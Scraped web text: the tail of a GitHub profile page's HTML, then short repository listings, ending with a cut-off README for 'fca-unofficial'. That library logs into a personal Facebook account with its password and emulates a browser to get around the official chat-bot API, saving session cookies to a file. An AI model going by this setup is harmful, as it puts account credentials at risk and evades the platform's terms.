tabindex="0"> <input type="radio" name="type" id="type_source" value="source" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Sources</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_fork" value="fork" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Forks</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_archived" value="archived" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Archived</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_mirror" value="mirror" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Mirrors</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="type" id="type_template" value="template" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Templates</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0" id="language-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Language</span> <span class="d-none" data-menu-button> All </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu mt-1 mt-lg-0 mr-md-2 ml-md-2 right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select language</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="language-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="language" id="language_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>All</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="language" id="language_html" value="html" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>HTML</span> </label> </div> </div> </details-menu> </details> <details class="details-reset details-overlay position-relative mt-1 mt-lg-0 ml-1" id="sort-options"> <summary aria-haspopup="true" data-view-component="true" class="btn"> <span>Sort</span> <span class="d-none" data-menu-button> Last updated </span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu right-lg-0"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span class="SelectMenu-title">Select order</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="sort-options"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg></button> </header> <div class="SelectMenu-list"> <label class="SelectMenu-item" role="menuitemradio" aria-checked="true" tabindex="0"> <input type="radio" name="sort" id="sort_" value="" hidden="hidden" data-autosubmit="true" checked="checked" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Last updated</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_name" value="name" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Name</span> </label> <label class="SelectMenu-item" role="menuitemradio" aria-checked="false" tabindex="0"> <input type="radio" name="sort" id="sort_stargazers" value="stargazers" hidden="hidden" data-autosubmit="true" /> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> <span class="text-normal" data-menu-button-text>Stars</span> </label> </div> </div> </details-menu> </details> </div> </div> </form> <div class="d-none d-md-flex flex-md-items-center flex-md-justify-end"> <a href="/new" class="text-center btn btn-primary ml-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path> </svg> New </a> </div> </div> </div> <div id="user-repositories-list"> <ul data-filterable-for="your-repos-filter" data-filterable-type="substring"> <li class="col-12 d-flex flex-justify-between width-full py-4 border-bottom color-border-muted public source" itemprop="owns" itemscope itemtype="http://schema.org/Code"> <div class="col-10 col-lg-9 d-inline-block"> <div class="d-inline-block mb-1"> <h3 class="wb-break-all"> <a href="/chikitang/github-pages" itemprop="name codeRepository" > github-pages</a> <span></span><span class="Label Label--secondary v-align-middle ml-1 mb-1">Public</span> </h3> </div> <div> <p class="col-9 d-inline-block color-fg-muted mb-2 pr-4" itemprop="description"> A robot powered training repository <g-emoji class="g-emoji" alias="robot" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f916.png">🤖</g-emoji> </p> </div> <div class="f6 color-fg-muted mt-2"> <span class="ml-0 mr-3"> <span class="repo-language-color" style="background-color: #e34c26"></span> <span itemprop="programmingLanguage">HTML</span> </span> <span class="mr-3"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-law mr-1"> <path fill-rule="evenodd" d="M8.75.75a.75.75 0 00-1.5 0V2h-.984c-.305 0-.604.08-.869.23l-1.288.737A.25.25 0 013.984 3H1.75a.75.75 0 000 1.5h.428L.066 9.192a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.514 3.514 0 00.686.45A4.492 4.492 0 003 11c.88 0 1.556-.22 2.023-.454a3.515 3.515 0 00.686-.45l.045-.04.016-.015.006-.006.002-.002.001-.002L5.25 9.5l.53.53a.75.75 0 00.154-.838L3.822 4.5h.162c.305 0 .604-.08.869-.23l1.289-.737a.25.25 0 01.124-.033h.984V13h-2.5a.75.75 0 000 1.5h6.5a.75.75 0 000-1.5h-2.5V3.5h.984a.25.25 0 01.124.033l1.29.736c.264.152.563.231.868.231h.162l-2.112 4.692a.75.75 0 00.154.838l.53-.53-.53.53v.001l.002.002.002.002.006.006.016.015.045.04a3.517 3.517 0 00.686.45A4.492 4.492 0 0013 11c.88 0 1.556-.22 2.023-.454a3.512 3.512 0 00.686-.45l.045-.04.01-.01.006-.005.006-.006.002-.002.001-.002-.529-.531.53.53a.75.75 0 00.154-.838L13.823 4.5h.427a.75.75 0 000-1.5h-2.234a.25.25 0 01-.124-.033l-1.29-.736A1.75 1.75 0 009.735 2H8.75V.75zM1.695 9.227c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327l-1.305 2.9zm10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327l-1.305 2.9z"></path> </svg>MIT License </span> Updated <relative-time datetime="2022-06-08T03:58:07Z" class="no-wrap">Jun 7, 2022</relative-time> </div> </div> <div class="col-2 d-flex flex-column flex-justify-around flex-items-end ml-3"> <template class="js-unstar-confirmation-dialog-template"> <div class="Box-header"> <h2 class="Box-title">Unstar this repository?</h2> </div> <div class="Box-body"> <p class="mb-3"> This will remove {{ repoNameWithOwner }} from the {{ listsWithCount }} that it's been added to. </p> <div class="form-actions"> <form class="js-social-confirmation-form" data-turbo="false" action="{{ confirmUrl }}" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="{{ confirmCsrfToken }}"> <input type="hidden" name="confirm" value="true"> <button data-close-dialog="true" type="submit" data-view-component="true" class="btn-danger btn width-full"> Unstar </button> </form> </div> </div> </template> <div data-view-component="true" class="js-toggler-container js-social-container starring-container BtnGroup d-flex"> <form class="starred js-social-form BtnGroup-parent flex-auto js-deferred-toggler-target" data-turbo="false" action="/chikitang/github-pages/unstar" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="P3ZaMuVNtLT4QUVj9SZ3_76QeVS-3FOc0gP3XVwVBgRcLVKXCTCdvdJ6obMwUrBCGfd2XQVN_W7IuZa7njBcNA" autocomplete="off" /> <input type="hidden" value="KnKZMI3CU5RojoPkAik3DUoD4aqrgGVadUrVgfAoCJRJKZGVYb96nUK1ZzTHXfCw7WTuoxARy6hv8LRnMg1SpA" data-csrf="true" class="js-confirm-csrf-token" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"UNSTAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="f34c8205d1678d4ae0e77c4839fbb14d3a9fd63160652b28998f8827c527e5a2" data-ga-click="Repository, click unstar button, action:profiles/repositories#index; text:Unstar" aria-label="Unstar this repository" type="submit" data-view-component="true" class="rounded-left-2 border-right-0 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star-fill starred-button-icon d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25z"></path> </svg><span data-view-component="true" class="d-inline"> Starred </span> </button></form> <form class="unstarred js-social-form BtnGroup-parent flex-auto" data-turbo="false" action="/chikitang/github-pages/star" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="VdD5gHR0SaNWuuE-4Huf1LFVNH_kIFLksg8psuv1LDDU6Ha53YRem4Yp2ZrIpb7eKSa1cf-yR9oZDpa0b5XdgA" autocomplete="off" /> <input type="hidden" name="context" value="other"> <button data-hydro-click="{"event_type":"repository.click","payload":{"target":"STAR_BUTTON","repository_id":501093064,"originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="5cd067574b17d3257d89fbe1c8c675a553eb8e3ad7cea5efb3cf0e75d36f0801" data-ga-click="Repository, click star button, action:profiles/repositories#index; text:Star" aria-label="Star this repository" type="submit" data-view-component="true" class="js-toggler-target rounded-left-2 btn-sm btn BtnGroup-item"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star d-inline-block mr-2"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path> </svg><span data-view-component="true" class="d-inline"> Star </span> </button></form> <details id="details-user-list-501093064" data-view-component="true" class="details-reset details-overlay BtnGroup-parent js-user-list-menu d-inline-block position-relative"> <summary aria-label="Add this repository to a list" data-view-component="true" class="btn-sm btn BtnGroup-item px-2 float-none"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="M4.427 7.427l3.396 3.396a.25.25 0 00.354 0l3.396-3.396A.25.25 0 0011.396 7H4.604a.25.25 0 00-.177.427z"></path> </svg> </summary> <details-menu class="SelectMenu right-0" src="/chikitang/github-pages/lists" role="menu" > <div class="SelectMenu-modal"> <button class="SelectMenu-closeButton position-absolute right-0 m-2" type="button" aria-label="Close menu" data-toggle-for="details-91edb5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div id="filter-menu-91edb5" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <include-fragment class="SelectMenu-loading" aria-label="Loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </include-fragment> </div> </div> </div> </details-menu> </details> </div> <div class="text-right hide-lg hide-md hide-sm hide-xs flex-self-end "> <poll-include-fragment src="/chikitang/github-pages/graphs/participation?h=28&type=sparkline&w=155"> </poll-include-fragment> </div> </div> </li> </ul> <div class="paginate-container"> </div> </div> </div> </div> </div> </div></div> </main> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <ul class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <li class="mt-2 mt-lg-0 d-flex flex-items-center"> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-2" href="https://github.com"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> <span> © 2022 GitHub, Inc. </span> </li> </ul> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-8 flex-justify-center flex-lg-justify-between mb-2 mb-lg-0"> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-terms-of-service" data-analytics-event="{"category":"Footer","action":"go to terms","label":"text:terms"}">Terms</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com/en/github/site-policy/github-privacy-statement" data-analytics-event="{"category":"Footer","action":"go to privacy","label":"text:privacy"}">Privacy</a></li> <li class="mr-3 mr-lg-0"><a data-analytics-event="{"category":"Footer","action":"go to security","label":"text:security"}" href="https://github.com/security">Security</a></li> <li class="mr-3 mr-lg-0"><a href="https://www.githubstatus.com/" data-analytics-event="{"category":"Footer","action":"go to status","label":"text:status"}">Status</a></li> <li class="mr-3 mr-lg-0"><a data-ga-click="Footer, go to help, text:Docs" href="https://docs.github.com">Docs</a></li> <li class="mr-3 mr-lg-0"><a href="https://support.github.com?tags=dotcom-footer" data-analytics-event="{"category":"Footer","action":"go to contact","label":"text:contact"}">Contact GitHub</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.com/pricing" data-analytics-event="{"category":"Footer","action":"go to Pricing","label":"text:Pricing"}">Pricing</a></li> <li class="mr-3 mr-lg-0"><a href="https://docs.github.com" data-analytics-event="{"category":"Footer","action":"go to api","label":"text:api"}">API</a></li> <li class="mr-3 mr-lg-0"><a href="https://services.github.com" data-analytics-event="{"category":"Footer","action":"go to training","label":"text:training"}">Training</a></li> <li class="mr-3 mr-lg-0"><a href="https://github.blog" data-analytics-event="{"category":"Footer","action":"go to blog","label":"text:blog"}">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 color-fg-muted"></span> </div> </footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path> </svg> </clipboard-copy> </div> </template> <style> .user-mention[href$="/chikitang"] { color: var(--color-user-mention-fg); background-color: var(--color-user-mention-bg); border-radius: 2px; margin-left: -2px; margin-right: -2px; padding: 0 2px; } </style> </body> </html>
jasonmayes / Web AI Model Proxy CacheRetrieve large (GBs) AI binary model files from cloud, cache locally as sharded blobs to load faster on 2nd page load, returns stored file as data URL
Tinkprocodes / Fca UnofficialThis repo is a fork from main repo and will usually have new features bundled faster than main repo (and maybe bundle some bugs, too). # Unofficial Facebook Chat API <img alt="version" src="https://img.shields.io/github/package-json/v/ProCoderMew/fca-unofficial?label=github&style=flat-square"> Facebook now has an official API for chat bots [here](https://developers.facebook.com/docs/messenger-platform). This API is the only way to automate chat functionalities on a user account. We do this by emulating the browser. This means doing the exact same GET/POST requests and tricking Facebook into thinking we're accessing the website normally. Because we're doing it this way, this API won't work with an auth token but requires the credentials of a Facebook account. _Disclaimer_: We are not responsible if your account gets banned for spammy activities such as sending lots of messages to people you don't know, sending messages very quickly, sending spammy looking URLs, logging in and out very quickly... Be responsible Facebook citizens. See [below](#projects-using-this-api) for projects using this API. ## Install If you just want to use fca-unofficial, you should use this command: ```bash npm install procodermew/fca-unofficial ``` It will download `fca-unofficial` from NPM repositories ## Testing your bots If you want to test your bots without creating another account on Facebook, you can use [Facebook Whitehat Accounts](https://www.facebook.com/whitehat/accounts/). ## Example Usage ```javascript const login = require("fca-unofficial"); // Create simple echo bot login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); api.listen((err, message) => { api.sendMessage(message.body, message.threadID); }); }); ``` Result: <img width="517" alt="screen shot 2016-11-04 at 14 36 00" src="https://cloud.githubusercontent.com/assets/4534692/20023545/f8c24130-a29d-11e6-9ef7-47568bdbc1f2.png"> ## Documentation You can see it [here](DOCS.md). ## Main Functionality ### Sending a message #### api.sendMessage(message, threadID[, callback][, messageID]) Various types of message can be sent: * *Regular:* set field `body` to the desired message as a string. * *Sticker:* set a field `sticker` to the desired sticker ID. * *File or image:* Set field `attachment` to a readable stream or an array of readable streams. * *URL:* set a field `url` to the desired URL. * *Emoji:* set field `emoji` to the desired emoji as a string and set field `emojiSize` with size of the emoji (`small`, `medium`, `large`) Note that a message can only be a regular message (which can be empty) and optionally one of the following: a sticker, an attachment or a url. __Tip__: to find your own ID, you can look inside the cookies. The `userID` is under the name `c_user`. __Example (Basic Message)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); var yourID = "000000000000000"; var msg = "Hey!"; api.sendMessage(msg, yourID); }); ``` __Example (File upload)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); // Note this example uploads an image called image.jpg var yourID = "000000000000000"; var msg = { body: "Hey!", attachment: fs.createReadStream(__dirname + '/image.jpg') } api.sendMessage(msg, yourID); }); ``` ------------------------------------ ### Saving session. To avoid logging in every time you should save AppState (cookies etc.) to a file, then you can use it without having password in your scripts. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); var credentials = {email: "FB_EMAIL", password: "FB_PASSWORD"}; login(credentials, (err, api) => { if(err) return console.error(err); fs.writeFileSync('appstate.json', JSON.stringify(api.getAppState())); }); ``` Alternative: Use [c3c-fbstate](https://github.com/c3cbot/c3c-fbstate) to get fbstate.json (appstate.json) ------------------------------------ ### Listening to a chat #### api.listen(callback) Listen watches for messages sent in a chat. By default this won't receive events (joining/leaving a chat, title change etc…) but it can be activated with `api.setOptions({listenEvents: true})`. This will by default ignore messages sent by the current account, you can enable listening to your own messages with 